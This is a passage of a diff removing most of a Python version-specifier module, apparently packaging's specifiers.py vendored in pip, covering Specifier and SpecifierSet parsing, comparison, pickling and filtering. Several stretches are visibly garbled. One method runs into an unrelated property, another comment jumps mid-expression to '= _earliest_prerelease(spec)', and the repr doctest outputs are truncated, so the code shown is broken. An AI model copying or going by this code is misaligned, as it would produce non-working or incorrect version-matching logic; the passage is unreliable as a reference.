-    """
-
-
-class BaseSpecifier(metaclass=abc.ABCMeta):
-    __slots__ = ()
-    __match_args__ = ("_str",)
-
-    @property
-    def _str(self) -> str:
-        """Internal property for match_args"""
-        return str(self)
-
-    @abc.abstractmethod
-    def __str__(self) -> str:
-        """
-        Returns the str representation of this Specifier-like object. This
-        should be representative of the Specifier itself.
-        """
-
-    @abc.abstractmethod
-    def __hash__(self) -> int:
-        """
-        Returns a hash value for this Specifier-like object.
-        """
-
-    @abc.abstractmethod
-    def __eq__(self, other: object) -> bool:
-        """
-        Returns a boolean representing whether or not the two Specifier-like
-        objects are equal.
-
-        :param other: The other object to check against.
-        """
-
-    @property
-    @abc.abstractmethod
-    def prereleases(self) -> bool | None:
-        """Whether or not pre-releases as a whole are allowed.
-
-        This can be set to either ``True`` or ``False`` to explicitly enable or disable
-        prereleases or it can be set to ``None`` (the default) to use default semantics.
-        """
-
-    @prereleases.setter  # noqa: B027
-    def prereleases(self, value: bool) -> None:
-        """Setter for :attr:`prereleases`.
-
-        :param value: The value to set.
-        """
-
-    @abc.abstractmethod
-    def contains(self, item: str, prereleases: bool | None = None) -> bool:
-        """
-        Determines if the given item is contained within this specifier.
-        """
-
-    @typing.overload
-    def filter(
-        self,
-        iterable: Iterable[UnparsedVersionVar],
-        prereleases: bool | None = None,
-        key: None = ...,
-    ) -> Iterator[UnparsedVersionVar]: ...
-
-    @typing.overload
-    def filter(
-        self,
-        iterable: Iterable[T],
-        prereleases: bool | None = None,
-        key: Callable[[T], UnparsedVersion] = ...,
-    ) -> Iterator[T]: ...
-
-    @abc.abstractmethod
-    def filter(
-        self,
-        iterable: Iterable[Any],
-        prereleases: bool | None = None,
-        key: Callable[[Any], UnparsedVersion] | None = None,
-    ) -> Iterator[Any]:
-        """
-        Takes an iterable of items and filters them so that only items which
-        are contained within this specifier are allowed in it.
-        """
-
-
-class Specifier(BaseSpecifier):
-    """This class abstracts handling of version specifiers.
-
-    .. tip::
-
-        It is generally not required to instantiate this manually. You should instead
-        prefer to work with :class:`SpecifierSet` instead, which can parse
-        comma-separated version specifiers (which is what package metadata contains).
-
-    Instances are safe to serialize with :mod:`pickle`. They use a stable
-    format so the same pickle can be loaded in future packaging releases.
-
-    .. versionchanged:: 26.2
-
-        Added a stable pickle format. Pickles created with packaging 26.2+ can
-        be unpickled with future releases.  Backward compatibility with pickles
-        from pip._vendor.packaging < 26.2 is supported but may be removed in a future
-        release.
-    """
-
-    __slots__ = (
-        "_prereleases",
-        "_ranges",
-        "_spec",
-        "_spec_version",
-        "_wildcard_split",
-    )
-
-    _specifier_regex_str = r"""
-        (?:
-            (?:
-                # The identity operators allow for an escape hatch that will
-                # do an exact string match of the version you wish to install.
-                # This will not be parsed by PEP 440 and we cannot determine
-                # any semantic meaning from it. This operator is discouraged
-                # but included entirely as an escape hatch.
-                ===  # Only match for the identity operator
-                \s*
-                [^\s;)]*  # The arbitrary version can be just about anything,
-                          # we match everything except for whitespace, a
-                          # semi-colon for marker support, and a closing paren
-                          # since versions can be enclosed in them.
-            )
-            |
-            (?:
-                # The (non)equality operators allow for wild card and local
-                # versions to be specified so we have to define these two
-                # operators separately to enable that.
-                (?:==|!=)            # Only match for equals and not equals
-
-                \s*
-                v?
-                (?:[0-9]+!)?          # epoch
-                [0-9]+(?:\.[0-9]+)*   # release
-
-                # You cannot use a wild card and a pre-release, post-release, a dev or
-                # local version together so group them with a | and make them optional.
-                (?:
-                    \.\*  # Wild card syntax of .*
-                    |
-                    (?a:                                  # pre release
-                        [-_\.]?
-                        (alpha|beta|preview|pre|a|b|c|rc)
-                        [-_\.]?
-                        [0-9]*
-                    )?
-                    (?a:                                  # post release
-                        (?:-[0-9]+)|(?:[-_\.]?(post|rev|r)[-_\.]?[0-9]*)
-                    )?
-                    (?a:[-_\.]?dev[-_\.]?[0-9]*)?         # dev release
-                    (?a:\+[a-z0-9]+(?:[-_\.][a-z0-9]+)*)? # local
-                )?
-            )
-            |
-            (?:
-                # The compatible operator requires at least two digits in the
-                # release segment.
-                (?:~=)               # Only match for the compatible operator
-
-                \s*
-                v?
-                (?:[0-9]+!)?          # epoch
-                [0-9]+(?:\.[0-9]+)+   # release  (We have a + instead of a *)
-                (?:                   # pre release
-                    [-_\.]?
-                    (alpha|beta|preview|pre|a|b|c|rc)
-                    [-_\.]?
-                    [0-9]*
-                )?
-                (?:                                   # post release
-                    (?:-[0-9]+)|(?:[-_\.]?(post|rev|r)[-_\.]?[0-9]*)
-                )?
-                (?:[-_\.]?dev[-_\.]?[0-9]*)?          # dev release
-            )
-            |
-            (?:
-                # All other operators only allow a sub set of what the
-                # (non)equality operators do. Specifically they do not allow
-                # local versions to be specified nor do they allow the prefix
-                # matching wild cards.
-                (?:<=|>=|<|>)
-
-                \s*
-                v?
-                (?:[0-9]+!)?          # epoch
-                [0-9]+(?:\.[0-9]+)*   # release
-                (?a:                   # pre release
-                    [-_\.]?
-                    (alpha|beta|preview|pre|a|b|c|rc)
-                    [-_\.]?
-                    [0-9]*
-                )?
-                (?a:                                   # post release
-                    (?:-[0-9]+)|(?:[-_\.]?(post|rev|r)[-_\.]?[0-9]*)
-                )?
-                (?a:[-_\.]?dev[-_\.]?[0-9]*)?          # dev release
-            )
-        )
-        """
-
-    _regex = re.compile(
-        r"\s*" + _specifier_regex_str + r"\s*", re.VERBOSE | re.IGNORECASE
-    )
-
-    _operators: Final = {
-        "~=": "compatible",
-        "==": "equal",
-        "!=": "not_equal",
-        "<=": "less_than_equal",
-        ">=": "greater_than_equal",
-        "<": "less_than",
-        ">": "greater_than",
-        "===": "arbitrary",
-    }
-
-    def __init__(self, spec: str = "", prereleases: bool | None = None) -> None:
-        """Initialize a Specifier instance.
-
-        :param spec:
-            The string representation of a specifier which will be parsed and
-            normalized before use.
-        :param prereleases:
-            This tells the specifier if it should accept prerelease versions if
-            applicable or not. The default of ``None`` will autodetect it from the
-            given specifiers.
-        :raises InvalidSpecifier:
-            If the given specifier is invalid (i.e. bad syntax).
-        """
-        if not self._regex.fullmatch(spec):
-            raise InvalidSpecifier(f"Invalid specifier: {spec!r}")
-
-        spec = spec.strip()
-        if spec.startswith("==="):
-            operator, version = spec[:3], spec[3:].strip()
-        elif spec.startswith(("~=", "==", "!=", "<=", ">=")):
-            operator, version = spec[:2], spec[2:].strip()
-        else:
-            operator, version = spec[:1], spec[1:].strip()
-
-        self._spec: tuple[str, str] = (operator, version)
-
-        # Store whether or not this Specifier should accept prereleases
-        self._prereleases = prereleases
-
-        # Specifier version cache
-        self._spec_version: tuple[str, Version] | None = None
-
-        # Populated on first wildcard (==X.*) comparison
-        self._wildcard_split: tuple[list[str], int] | None = None
-
-        # Version range cache (populated by _to_ranges)
-        self._ranges: Sequence[_VersionRange] | None = None
-
-    def _get_spec_version(self, version: str) -> Version | None:
-        """One element cache, as only one spec Version is needed per Specifier."""
-        if self._spec_version is not None and self._spec_version[0] == version:
-            return self._spec_version[1]
-
-        version_specifier = _coerce_version(version)
-        if version_specifier is None:
-            return None
-
-        self._spec_version = (version, version_specifier)
-        return version_specifier
-
-    def _require_spec_version(self, version: str) -> Version:
-        """Get spec version, asserting it's valid (not for === operator).
-
-        This method should only be called for operators where version
-        strings are guaranteed to be valid PEP 440 versions (not ===).
-        """
-        spec_version = self._get_spec_version(version)
-        assert spec_version is not None
-        return spec_version
-
-    def _to_ranges(self) -> Sequence[_VersionRange]:
-        """Convert this specifier to sorted, non-overlapping version ranges.
-
-        Each standard operator maps to one or two ranges.  ``===`` is
-        modeled as full range (actual check done separately).  Cached.
-        """
-        if self._ranges is not None:
-            return self._ranges
-
-        op = self.operator
-        ver_str = self.version
-
-        if op == "===":
-            self._ranges = _FULL_RANGE
-            return _FULL_RANGE
-
-        if ver_str.endswith(".*"):
-            result = self._wildcard_ranges(op, ver_str)
-        else:
-            result = self._standard_ranges(op, ver_str)
-
-        self._ranges = result
-        return result
-
-    def _wildcard_ranges(self, op: str, ver_str: str) -> list[_VersionRange]:
-        # ==1.2.* -> [1.2.dev0, 1.3.dev0);  !=1.2.* -> complement.
-        base = self._require_spec_version(ver_str[:-2])
-        lower = _base_dev0(base)
-        upper = _next_prefix_dev0(base)
-        if op == "==":
-            return [(_LowerBound(lower, True), _UpperBound(upper, False))]
-        # !=
-        return [
-            (_NEG_INF, _UpperBound(lower, False)),
-            (_LowerBound(upper, True), _POS_INF),
-        ]
-
-    def _standard_ranges(self, op: str, ver_str: str) -> list[_VersionRange]:
-        v = self._require_spec_version(ver_str)
-
-        if op == ">=":
-            return [(_LowerBound(v, True), _POS_INF)]
-
-        if op == "<=":
-            return [
-                (
-                    _NEG_INF,
-                    _UpperBound(_BoundaryVersion(v, _BoundaryKind.AFTER_LOCALS), True),
-                )
-            ]
-
-        if op == ">":
-            if v.dev is not None:
-                # >V.devN: dev versions have no post-releases, so the
-                # next real version is V.dev(N+1).
-                lower_ver = v.__replace__(dev=v.dev + 1, local=None)
-                return [(_LowerBound(lower_ver, True), _POS_INF)]
-            if v.post is not None:
-                # >V.postN: next real version is V.post(N+1).dev0.
-                lower_ver = v.__replace__(post=v.post + 1, dev=0, local=None)
-                return [(_LowerBound(lower_ver, True), _POS_INF)]
-            # >V (final or pre-release): skip V+local and all V.postN.
-            return [
-                (
-                    _LowerBound(_BoundaryVersion(v, _BoundaryKind.AFTER_POSTS), False),
-                    _POS_INF,
-                )
-            ]
-
-        if op == "<":
-            #  bool | None:
-        # If there is an explicit prereleases set for this, then we'll just
-        # blindly use that.
-        if self._prereleases is not None:
-            return self._prereleases
-
-        # Only the "!=" operator does not imply prereleases when
-        # the version in the specifier is a prerelease.
-        operator, version_str = self._spec
-        if operator == "!=":
-            return False
-
-        # The == specifier with trailing .* cannot include prereleases
-        # e.g. "==1.0a1.*" is not valid.
-        if operator == "==" and version_str.endswith(".*"):
-            return False
-
-        # "===" can have arbitrary string versions, so we cannot parse
-        # those, we take prereleases as unknown (None) for those.
-        version = self._get_spec_version(version_str)
-        if version is None:
-            return None
-
-        # For all other operators, use the check if spec Version
-        # object implies pre-releases.
-        return version.is_prerelease
-
-    @prereleases.setter
-    def prereleases(self, value: bool | None) -> None:
-        self._prereleases = value
-
-    def __getstate__(self) -> tuple[tuple[str, str], bool | None]:
-        # Return state as a 2-item tuple for compactness:
-        #   ((operator, version), prereleases)
-        # Cache members are excluded and will be recomputed on demand.
-        return (self._spec, self._prereleases)
-
-    def __setstate__(self, state: object) -> None:
-        # Always discard cached values - they will be recomputed on demand.
-        self._spec_version = None
-        self._wildcard_split = None
-        self._ranges = None
-
-        if isinstance(state, tuple):
-            if len(state) == 2:
-                # New format (26.2+): ((operator, version), prereleases)
-                spec, prereleases = state
-                if _validate_spec(spec) and _validate_pre(prereleases):
-                    self._spec = spec
-                    self._prereleases = prereleases
-                    return
-            if len(state) == 2 and isinstance(state[1], dict):
-                # Format (packaging 26.0-26.1): (None, {slot: value}).
-                _, slot_dict = state
-                spec = slot_dict.get("_spec")
-                prereleases = slot_dict.get("_prereleases", "invalid")
-                if _validate_spec(spec) and _validate_pre(prereleases):
-                    self._spec = spec
-                    self._prereleases = prereleases
-                    return
-        if isinstance(state, dict):
-            # Old format (packaging <= 25.x, no __slots__): state is a plain dict.
-            spec = state.get("_spec")
-            prereleases = state.get("_prereleases", "invalid")
-            if _validate_spec(spec) and _validate_pre(prereleases):
-                self._spec = spec
-                self._prereleases = prereleases
-                return
-
-        raise TypeError(f"Cannot restore Specifier from {state!r}")
-
-    @property
-    def operator(self) -> str:
-        """The operator of this specifier.
-
-        >>> Specifier("==1.2.3").operator
-        '=='
-        """
-        return self._spec[0]
-
-    @property
-    def version(self) -> str:
-        """The version of this specifier.
-
-        >>> Specifier("==1.2.3").version
-        '1.2.3'
-        """
-        return self._spec[1]
-
-    def __repr__(self) -> str:
-        """A representation of the Specifier that shows all internal state.
-
-        >>> Specifier('>=1.0.0')
-        =1.0.0')>
-        >>> Specifier('>=1.0.0', prereleases=False)
-        =1.0.0', prereleases=False)>
-        >>> Specifier('>=1.0.0', prereleases=True)
-        =1.0.0', prereleases=True)>
-        """
-        pre = (
-            f", prereleases={self.prereleases!r}"
-            if self._prereleases is not None
-            else ""
-        )
-
-        return f"<{self.__class__.__name__}({str(self)!r}{pre})>"
-
-    def __str__(self) -> str:
-        """A string representation of the Specifier that can be round-tripped.
-
-        >>> str(Specifier('>=1.0.0'))
-        '>=1.0.0'
-        >>> str(Specifier('>=1.0.0', prereleases=False))
-        '>=1.0.0'
-        """
-        return "{}{}".format(*self._spec)
-
-    @property
-    def _canonical_spec(self) -> tuple[str, str]:
-        operator, version = self._spec
-        if operator == "===" or version.endswith(".*"):
-            return operator, version
-
-        spec_version = self._require_spec_version(version)
-
-        canonical_version = canonicalize_version(
-            spec_version, strip_trailing_zero=(operator != "~=")
-        )
-
-        return operator, canonical_version
-
-    def __hash__(self) -> int:
-        return hash(self._canonical_spec)
-
-    def __eq__(self, other: object) -> bool:
-        """Whether or not the two Specifier-like objects are equal.
-
-        :param other: The other object to check against.
-
-        The value of :attr:`prereleases` is ignored.
-
-        >>> Specifier("==1.2.3") == Specifier("== 1.2.3.0")
-        True
-        >>> (Specifier("==1.2.3", prereleases=False) ==
-        ...  Specifier("==1.2.3", prereleases=True))
-        True
-        >>> Specifier("==1.2.3") == "==1.2.3"
-        True
-        >>> Specifier("==1.2.3") == Specifier("==1.2.4")
-        False
-        >>> Specifier("==1.2.3") == Specifier("~=1.2.3")
-        False
-        """
-        if isinstance(other, str):
-            try:
-                other = self.__class__(str(other))
-            except InvalidSpecifier:
-                return NotImplemented
-        elif not isinstance(other, self.__class__):
-            return NotImplemented
-
-        return self._canonical_spec == other._canonical_spec
-
-    def _get_operator(self, op: str) -> CallableOperator:
-        operator_callable: CallableOperator = getattr(
-            self, f"_compare_{self._operators[op]}"
-        )
-        return operator_callable
-
-    def _compare_compatible(self, prospective: Version, spec: str) -> bool:
-        # Compatible releases have an equivalent combination of >= and ==. That
-        # is that ~=2.2 is equivalent to >=2.2,==2.*. This allows us to
-        # implement this in terms of the other specifiers instead of
-        # implementing it ourselves. The only thing we need to do is construct
-        # the other specifiers.
-
-        # We want everything but the last item in the version, but we want to
-        # ignore suffix segments.
-        prefix = _version_join(
-            list(itertools.takewhile(_is_not_suffix, _version_split(spec)))[:-1]
-        )
-
-        # Add the prefix notation to the end of our string
-        prefix += ".*"
-
-        return (self._compare_greater_than_equal(prospective, spec)) and (
-            self._compare_equal(prospective, prefix)
-        )
-
-    def _get_wildcard_split(self, spec: str) -> tuple[list[str], int]:
-        """Cached split of a wildcard spec into components and numeric length.
-
-        >>> Specifier("==1.*")._get_wildcard_split("1.*")
-        (['0', '1'], 2)
-        >>> Specifier("==3.10.*")._get_wildcard_split("3.10.*")
-        (['0', '3', '10'], 3)
-        """
-        wildcard_split = self._wildcard_split
-        if wildcard_split is None:
-            normalized = canonicalize_version(spec[:-2], strip_trailing_zero=False)
-            split_spec = _version_split(normalized)
-            wildcard_split = (split_spec, _numeric_prefix_len(split_spec))
-            self._wildcard_split = wildcard_split
-        return wildcard_split
-
-    def _compare_equal(self, prospective: Version, spec: str) -> bool:
-        # We need special logic to handle prefix matching
-        if spec.endswith(".*"):
-            split_spec, spec_numeric_len = self._get_wildcard_split(spec)
-
-            # In the case of prefix matching we want to ignore local segment.
-            normalized_prospective = canonicalize_version(
-                _public_version(prospective), strip_trailing_zero=False
-            )
-            # Split the prospective version out by bangs and dots, and pretend
-            # that there is an implicit dot in between a release segment and
-            # a pre-release segment.
-            split_prospective = _version_split(normalized_prospective)
-
-            # 0-pad the prospective version before shortening it to get the correct
-            # shortened version.
-            padded_prospective = _left_pad(split_prospective, spec_numeric_len)
-
-            # Shorten the prospective version to be the same length as the spec
-            # so that we can determine if the specifier is a prefix of the
-            # prospective version or not.
-            shortened_prospective = padded_prospective[: len(split_spec)]
-
-            return shortened_prospective == split_spec
-        else:
-            # Convert our spec string into a Version
-            spec_version = self._require_spec_version(spec)
-
-            # If the specifier does not have a local segment, then we want to
-            # act as if the prospective version also does not have a local
-            # segment.
-            if not spec_version.local:
-                prospective = _public_version(prospective)
-
-            return prospective == spec_version
-
-    def _compare_not_equal(self, prospective: Version, spec: str) -> bool:
-        return not self._compare_equal(prospective, spec)
-
-    def _compare_less_than_equal(self, prospective: Version, spec: str) -> bool:
-        # NB: Local version identifiers are NOT permitted in the version
-        # specifier, so local version labels can be universally removed from
-        # the prospective version.
-        return _public_version(prospective) <= self._require_spec_version(spec)
-
-    def _compare_greater_than_equal(self, prospective: Version, spec: str) -> bool:
-        # NB: Local version identifiers are NOT permitted in the version
-        # specifier, so local version labels can be universally removed from
-        # the prospective version.
-        return _public_version(prospective) >= self._require_spec_version(spec)
-
-    def _compare_less_than(self, prospective: Version, spec_str: str) -> bool:
-        # Convert our spec to a Version instance, since we'll want to work with
-        # it as a version.
-        spec = self._require_spec_version(spec_str)
-
-        # Check to see if the prospective version is less than the spec
-        # version. If it's not we can short circuit and just return False now
-        # instead of doing extra unneeded work.
-        if not prospective < spec:
-            return False
-
-        # The spec says: "= _earliest_prerelease(spec)
-        ):
-            return False
-
-        # If we've gotten to here, it means that prospective version is both
-        # less than the spec version *and* it's not a pre-release of the same
-        # version in the spec.
-        return True
-
-    def _compare_greater_than(self, prospective: Version, spec_str: str) -> bool:
-        # Convert our spec to a Version instance, since we'll want to work with
-        # it as a version.
-        spec = self._require_spec_version(spec_str)
-
-        # Check to see if the prospective version is greater than the spec
-        # version. If it's not we can short circuit and just return False now
-        # instead of doing extra unneeded work.
-        if not prospective > spec:
-            return False
-
-        # The spec says: ">V MUST NOT allow a post-release of the specified
-        # version unless the specified version is itself a post-release."
-        if (
-            not spec.is_postrelease
-            and prospective.is_postrelease
-            and _post_base(prospective) == spec
-        ):
-            return False
-
-        # Per the spec: ">V MUST NOT match a local version of the specified
-        # version". A "local version of V" is any version whose public part
-        # equals V. So >1.0a1 must not match 1.0a1+local, but must still
-        # match 1.0a2+local.
-        if prospective.local is not None and _public_version(prospective) == spec:
-            return False
-
-        # If we've gotten to here, it means that prospective version is both
-        # greater than the spec version *and* it's not a pre-release of the
-        # same version in the spec.
-        return True
-
-    def _compare_arbitrary(self, prospective: Version | str, spec: str) -> bool:
-        return str(prospective).lower() == str(spec).lower()
-
-    def __contains__(self, item: str | Version) -> bool:
-        """Return whether or not the item is contained in this specifier.
-
-        :param item: The item to check for.
-
-        This is used for the ``in`` operator and behaves the same as
-        :meth:`contains` with no ``prereleases`` argument passed.
-
-        >>> "1.2.3" in Specifier(">=1.2.3")
-        True
-        >>> Version("1.2.3") in Specifier(">=1.2.3")
-        True
-        >>> "1.0.0" in Specifier(">=1.2.3")
-        False
-        >>> "1.3.0a1" in Specifier(">=1.2.3")
-        True
-        >>> "1.3.0a1" in Specifier(">=1.2.3", prereleases=True)
-        True
-        """
-        return self.contains(item)
-
-    def contains(self, item: UnparsedVersion, prereleases: bool | None = None) -> bool:
-        """Return whether or not the item is contained in this specifier.
-
-        :param item:
-            The item to check for, which can be a version string or a
-            :class:`Version` instance.
-        :param prereleases:
-            Whether or not to match prereleases with this Specifier. If set to
-            ``None`` (the default), it will follow the recommendation from
-            :pep:`440` and match prereleases, as there are no other versions.
-
-        >>> Specifier(">=1.2.3").contains("1.2.3")
-        True
-        >>> Specifier(">=1.2.3").contains(Version("1.2.3"))
-        True
-        >>> Specifier(">=1.2.3").contains("1.0.0")
-        False
-        >>> Specifier(">=1.2.3").contains("1.3.0a1")
-        True
-        >>> Specifier(">=1.2.3", prereleases=False).contains("1.3.0a1")
-        False
-        >>> Specifier(">=1.2.3").contains("1.3.0a1")
-        True
-        """
-
-        return bool(list(self.filter([item], prereleases=prereleases)))
-
-    @typing.overload
-    def filter(
-        self,
-        iterable: Iterable[UnparsedVersionVar],
-        prereleases: bool | None = None,
-        key: None = ...,
-    ) -> Iterator[UnparsedVersionVar]: ...
-
-    @typing.overload
-    def filter(
-        self,
-        iterable: Iterable[T],
-        prereleases: bool | None = None,
-        key: Callable[[T], UnparsedVersion] = ...,
-    ) -> Iterator[T]: ...
-
-    def filter(
-        self,
-        iterable: Iterable[Any],
-        prereleases: bool | None = None,
-        key: Callable[[Any], UnparsedVersion] | None = None,
-    ) -> Iterator[Any]:
-        """Filter items in the given iterable, that match the specifier.
-
-        :param iterable:
-            An iterable that can contain version strings and :class:`Version` instances.
-            The items in the iterable will be filtered according to the specifier.
-        :param prereleases:
-            Whether or not to allow prereleases in the returned iterator. If set to
-            ``None`` (the default), it will follow the recommendation from :pep:`440`
-            and match prereleases if there are no other versions.
-        :param key:
-            A callable that takes a single argument (an item from the iterable) and
-            returns a version string or :class:`Version` instance to be used for
-            filtering.
-
-        >>> list(Specifier(">=1.2.3").filter(["1.2", "1.3", "1.5a1"]))
-        ['1.3']
-        >>> list(Specifier(">=1.2.3").filter(["1.2", "1.2.3", "1.3", Version("1.4")]))
-        ['1.2.3', '1.3', ]
-        >>> list(Specifier(">=1.2.3").filter(["1.2", "1.5a1"]))
-        ['1.5a1']
-        >>> list(Specifier(">=1.2.3").filter(["1.3", "1.5a1"], prereleases=True))
-        ['1.3', '1.5a1']
-        >>> list(Specifier(">=1.2.3", prereleases=True).filter(["1.3", "1.5a1"]))
-        ['1.3', '1.5a1']
-        >>> list(Specifier(">=1.2.3").filter(
-        ... [{"ver": "1.2"}, {"ver": "1.3"}],
-        ... key=lambda x: x["ver"]))
-        [{'ver': '1.3'}]
-        """
-        prereleases_versions = []
-        found_non_prereleases = False
-
-        # Determine if to include prereleases by default
-        include_prereleases = (
-            prereleases if prereleases is not None else self.prereleases
-        )
-
-        # Get the matching operator
-        operator_callable = self._get_operator(self.operator)
-
-        # Filter versions
-        for version in iterable:
-            parsed_version = _coerce_version(version if key is None else key(version))
-            match = False
-            if parsed_version is None:
-                # === operator can match arbitrary (non-version) strings
-                if self.operator == "===" and self._compare_arbitrary(
-                    version, self.version
-                ):
-                    yield version
-            elif self.operator == "===":
-                match = self._compare_arbitrary(
-                    version if key is None else key(version), self.version
-                )
-            else:
-                match = operator_callable(parsed_version, self.version)
-
-            if match and parsed_version is not None:
-                # If it's not a prerelease or prereleases are allowed, yield it directly
-                if not parsed_version.is_prerelease or include_prereleases:
-                    found_non_prereleases = True
-                    yield version
-                # Otherwise collect prereleases for potential later use
-                elif prereleases is None and self._prereleases is not False:
-                    prereleases_versions.append(version)
-
-        # If no non-prereleases were found and prereleases weren't
-        # explicitly forbidden, yield the collected prereleases
-        if (
-            not found_non_prereleases
-            and prereleases is None
-            and self._prereleases is not False
-        ):
-            yield from prereleases_versions
-
-
-_prefix_regex = re.compile(r"([0-9]+)((?:a|b|c|rc)[0-9]+)")
-
-
-def _pep440_filter_prereleases(
-    iterable: Iterable[Any], key: Callable[[Any], UnparsedVersion] | None
-) -> Iterator[Any]:
-    """Filter per PEP 440: exclude prereleases unless no finals exist."""
-    # Two lists used:
-    #   * all_nonfinal to preserve order if no finals exist
-    #   * arbitrary_strings for streaming when first final found
-    all_nonfinal: list[Any] = []
-    arbitrary_strings: list[Any] = []
-
-    found_final = False
-    for item in iterable:
-        parsed = _coerce_version(item if key is None else key(item))
-
-        if parsed is None:
-            # Arbitrary strings are always included as it is not
-            # possible to determine if they are prereleases,
-            # and they have already passed all specifiers.
-            if found_final:
-                yield item
-            else:
-                arbitrary_strings.append(item)
-                all_nonfinal.append(item)
-            continue
-
-        if not parsed.is_prerelease:
-            # Final release found - flush arbitrary strings, then yield
-            if not found_final:
-                yield from arbitrary_strings
-                found_final = True
-            yield item
-            continue
-
-        # Prerelease - buffer if no finals yet, otherwise skip
-        if not found_final:
-            all_nonfinal.append(item)
-
-    # No finals found - yield all buffered items
-    if not found_final:
-        yield from all_nonfinal
-
-
-def _version_split(version: str) -> list[str]:
-    """Split version into components.
-
-    The split components are intended for version comparison. The logic does
-    not attempt to retain the original version string, so joining the
-    components back with :func:`_version_join` may not produce the original
-    version string.
-    """
-    result: list[str] = []
-
-    epoch, _, rest = version.rpartition("!")
-    result.append(epoch or "0")
-
-    for item in rest.split("."):
-        match = _prefix_regex.fullmatch(item)
-        if match:
-            result.extend(match.groups())
-        else:
-            result.append(item)
-    return result
-
-
-def _version_join(components: list[str]) -> str:
-    """Join split version components into a version string.
-
-    This function assumes the input came from :func:`_version_split`, where the
-    first component must be the epoch (either empty or numeric), and all other
-    components numeric.
-    """
-    epoch, *rest = components
-    return f"{epoch}!{'.'.join(rest)}"
-
-
-def _is_not_suffix(segment: str) -> bool:
-    return not any(
-        segment.startswith(prefix) for prefix in ("dev", "a", "b", "rc", "post")
-    )
-
-
-def _numeric_prefix_len(split: list[str]) -> int:
-    """Count leading numeric components in a :func:`_version_split` result.
-
-    >>> _numeric_prefix_len(["0", "1", "2", "a1"])
-    3
-    """
-    count = 0
-    for segment in split:
-        if not segment.isdigit():
-            break
-        count += 1
-    return count
-
-
-def _left_pad(split: list[str], target_numeric_len: int) -> list[str]:
-    """Pad a :func:`_version_split` result with ``"0"`` segments to reach
-    ``target_numeric_len`` numeric components.  Suffix segments are preserved.
-
-    >>> _left_pad(["0", "1", "a1"], 4)
-    ['0', '1', '0', '0', 'a1']
-    """
-    numeric_len = _numeric_prefix_len(split)
-    pad_needed = target_numeric_len - numeric_len
-    if pad_needed <= 0:
-        return split
-    return [*split[:numeric_len], *(["0"] * pad_needed), *split[numeric_len:]]
-
-
-def _operator_cost(op_entry: tuple[CallableOperator, str, str]) -> int:
-    """Sort key for Cost Based Ordering of specifier operators in _filter_versions.
-
-    Operators run sequentially on a shrinking candidate set, so operators that
-    reject the most versions should run first to minimize work for later ones.
-
-    Tier 0: Exact equality (==, ===), likely to narrow candidates to one version
-    Tier 1: Range checks (>=, <=, >, <), cheap and usually reject a large portion
-    Tier 2: Wildcard equality (==.*) and compatible release (~=), more expensive
-    Tier 3: Exact !=, cheap but rarely rejects
-    Tier 4: Wildcard !=.*, expensive and rarely rejects
-    """
-    _, ver, op = op_entry
-    if op == "==":
-        return 0 if not ver.endswith(".*") else 2
-    if op in (">=", "<=", ">", "<"):
-        return 1
-    if op == "~=":
-        return 2
-    if op == "!=":
-        return 3 if not ver.endswith(".*") else 4
-    if op == "===":
-        return 0
-
-    raise ValueError(f"Unknown operator: {op!r}")  # pragma: no cover
-
-
-class SpecifierSet(BaseSpecifier):
-    """This class abstracts handling of a set of version specifiers.
-
-    It can be passed a single specifier (``>=3.0``), a comma-separated list of
-    specifiers (``>=3.0,!=3.1``), or no specifier at all.
-
-    Instances are safe to serialize with :mod:`pickle`. They use a stable
-    format so the same pickle can be loaded in future packaging
-    releases.
-
-    .. versionchanged:: 26.2
-
-        Added a stable pickle format. Pickles created with
-        packaging 26.2+ can be unpickled with future releases.
-        Backward compatibility with pickles from
-        packaging < 26.2 is supported but may be removed in a future
-        release.
-    """
-
-    __slots__ = (
-        "_canonicalized",
-        "_has_arbitrary",
-        "_is_unsatisfiable",
-        "_prereleases",
-        "_resolved_ops",
-        "_specs",
-    )
-
-    def __init__(
-        self,
-        specifiers: str | Iterable[Specifier] = "",
-        prereleases: bool | None = None,
-    ) -> None:
-        """Initialize a SpecifierSet instance.
-
-        :param specifiers:
-            The string representation of a specifier or a comma-separated list of
-            specifiers which will be parsed and normalized before use.
-            May also be an iterable of ``Specifier`` instances, which will be used
-            as is.
-        :param prereleases:
-            This tells the SpecifierSet if it should accept prerelease versions if
-            applicable or not. The default of ``None`` will autodetect it from the
-            given specifiers.
-
-        :raises InvalidSpecifier:
-            If the given ``specifiers`` are not parseable than this exception will be
-            raised.
-        """
-
-        if isinstance(specifiers, str):
-            # Split on `,` to break each individual specifier into its own item, and
-            # strip each item to remove leading/trailing whitespace.
-            split_specifiers = [s.strip() for s in specifiers.split(",") if s.strip()]
-
-            self._specs: tuple[Specifier, ...] = tuple(map(Specifier, split_specifiers))
-            # Fast substring check; avoids iterating parsed specs.
-            self._has_arbitrary = "===" in specifiers
-        else:
-            self._specs = tuple(specifiers)
-            # Substring check works for both Specifier objects and plain
-            # strings (setuptools passes lists of strings).
-            self._has_arbitrary = any("===" in str(s) for s in self._specs)
-
-        self._canonicalized = len(self._specs) <= 1
-        self._resolved_ops: list[tuple[CallableOperator, str, str]] | None = None
-
-        # Store our prereleases value so we can use it later to determine if
-        # we accept prereleases or not.
-        self._prereleases = prereleases
-
-        self._is_unsatisfiable: bool | None = None
-
-    def _canonical_specs(self) -> tuple[Specifier, ...]:
-        """Deduplicate, sort, and cache specs for order-sensitive operations."""
-        if not self._canonicalized:
-            self._specs = tuple(dict.fromkeys(sorted(self._specs, key=str)))
-            self._canonicalized = True
-            self._resolved_ops = None
-            self._is_unsatisfiable = None
-        return self._specs
-
-    @property
-    def prereleases(self) -> bool | None:
-        # If we have been given an explicit prerelease modifier, then we'll
-        # pass that through here.
-        if self._prereleases is not None:
-            return self._prereleases
-
-        # If we don't have any specifiers, and we don't have a forced value,
-        # then we'll just return None since we don't know if this should have
-        # pre-releases or not.
-        if not self._specs:
-            return None
-
-        # Otherwise we'll see if any of the given specifiers accept
-        # prereleases, if any of them do we'll return True, otherwise False.
-        if any(s.prereleases for s in self._specs):
-            return True
-
-        return None
-
-    @prereleases.setter
-    def prereleases(self, value: bool | None) -> None:
-        self._prereleases = value
-        self._is_unsatisfiable = None
-
-    def __getstate__(self) -> tuple[tuple[Specifier, ...], bool | None]:
-        # Return state as a 2-item tuple for compactness:
-        #   (specs, prereleases)
-        # Cache members are excluded and will be recomputed on demand.
-        return (self._specs, self._prereleases)
-
-    def __setstate__(self, state: object) -> None:
-        # Always discard cached values - they will be recomputed on demand.
-        self._resolved_ops = None
-        self._is_unsatisfiable = None
-
-        if isinstance(state, tuple):
